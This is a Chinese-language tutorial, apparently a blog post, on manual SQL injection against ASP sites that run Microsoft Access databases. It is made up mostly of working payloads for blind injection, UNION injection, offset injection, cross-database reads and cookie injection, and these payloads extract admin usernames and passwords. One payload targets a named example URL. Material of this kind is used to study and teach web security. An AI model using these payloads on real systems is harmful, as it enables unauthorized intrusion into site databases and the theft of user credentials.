Access数据库注入攻击方式
Access数据库基本知识
Access数据库介绍
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。 MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
Access数据库的特点
Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。
在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
Access数据库中没有注释符号,因此 /**/ 、 — 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
常用函数
1 | select len("string") 查询给定字符串的长度 |
盲注
判断注入点
可以使用如下方法来判断:
- 特殊符号,\、/、’、”等。
- -0 减数字看是否变化。
- 逻辑关系,
and 1=1and 1=2
判断数据库类型
asp一般搭载access或者mssql,首先得判断出来是哪一类数据库。
1 | and exists (select * from msysobjects) |
正常回显即为access数据库,如果报错可看报错信息来判断是否在access数据库。
报出以下错误说明该数据库存在msysobjects这张数据表,说明该数据库为Access

下面这个为sqlserver的判断语句
1 | and exists(select * from sysobjects) |
猜表名与字段名
猜解表名
1 | and exists(select * from admin) |
猜解字段名
1 | and exists(select user from admin) |
由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜……如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移注入来试试运气了。
逐字猜解数据
猜解一张表中有多少条记录
1 | and (select count(*) from admin)>3 |
猜解字段内容长度
1 | and (select len(user) from admin)=5 |
猜解字段内容数据
1 | and (select top 1 asc(mid(user,1,1)) from admin)>95 |
联合查找注入
判断查询列数
1 | order by 11 |

判断回显位
1 | union select 1,2,3,4,5,6,7,8,9,10,11 from admin |

获取数据
1 | union select 1,2,3,s_user,s_pwd,6,7,8,9,10,11 from admin |

偏移注入
使用场景
在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
注入原理
- 假设一个表有8个字段,admin表有3个字段。
- 联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
- 在我们不知道admin有多少字段的情况下可以尝试payload:
union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错 - 直到payload:
union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段 - 然后通过移动admin.*的位置,就可以回显不同的数据
判断查询列数
1 | order by 38 |

判断回显位
1 | union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 from admin |

判断表内存在的字段个数
1 | union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,* from admin |

发现报错,我们将*位向左移,直到回显正常
1 | http://hackrock.com:8204/show.asp?pkid=4821 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,* from admin |

发现*在27之后可以正常回显,计算表内查询字段数:38-27=11
其中还报出了一个数据:admin
偏移注入爆出数据
偏移注入公式:
查询字段数:* = 11
一级偏移数:38 - 11 = 27
二级偏移数:38 - 11×2 = 16
三级偏移数:38 - 11×3 = 5
二级偏移:
1 | union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id) |
发现多爆出一个数据(虽然没什么用)

三级偏移:
1 | union select 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) |

跨库查询
同服务器下的站点有注入,知道对方站的数据库绝对路径,知道对方数据库表,表中的字段名可以用这个方法来进行跨库查询。
payload:
1 | union select 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from [C:\WebCode\sze7xiaohu.mdb].admin |

Cookie手工注入
cookie注入的原理其实并不复杂。学过ASP语言的应该都知道,在ASP中 例如:
id=request.querystring(ID); id=request.form(ID);
在正常情况下程序员应该按以上规范进行代码的编写,但是部分程序员,为了方便却将代码写成了如下格式:
id=request(ID);
虽然此时也加了防注入程序。但是,防注入程序并不支持基于cookie提交的数据。而此时代码由于接受任何提交方式,从而导致了cookie注入的产生!下面我来简单演示下cookie手工注入的过程。
首先,我们在存在cookie注入的页面,按其正常地址进行一次完整的访问。完整访问是为了收集其cookie。

接着,我们使用JS代码在地址栏将原先的地址替换为如下代码:
1 | javascript:alert(document.cookie="id="+escape("26")); |
注:不能直接粘贴,直接粘贴浏览器会自动查询,可以先手动输入javascrip:再粘贴后面的部分。火狐浏览器不支持地址栏JavaScript伪协议,可以在Chrome浏览器中使用。

此时,我们打开一个新页面,将之前存在注入的页面地址拷贝到地址栏。注意:这里将后面的id 参数去除后,再进行访问!如图。页面如果依然返回正常,则说明cookie 修改成功!
构造Cookie注入页面与判断注入点

and 1=1
刷新后页面正常显示

and 1=2

刷新后页面报错

在证明确实存在注入后,我们就可以开始猜它的列数了。
判断查询列数
1 | javascript:alert(document.cookie="id="+escape("26 order by 11")); |
判断回显位
1 | javascript:alert(document.cookie="id="+escape("26 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")); |
获取数据
1 | javascript:alert(document.cookie="id="+escape("26 union select 1,username,password,4,5,6,7,8,9,10,11 from admin")); |

参考资料
- 《Web入侵先遣—SQL注入攻击技术初探 》
- SQL注入系列之ASP+ACCESS手动注入(二)——Cookie注入_你身后的人-CSDN博客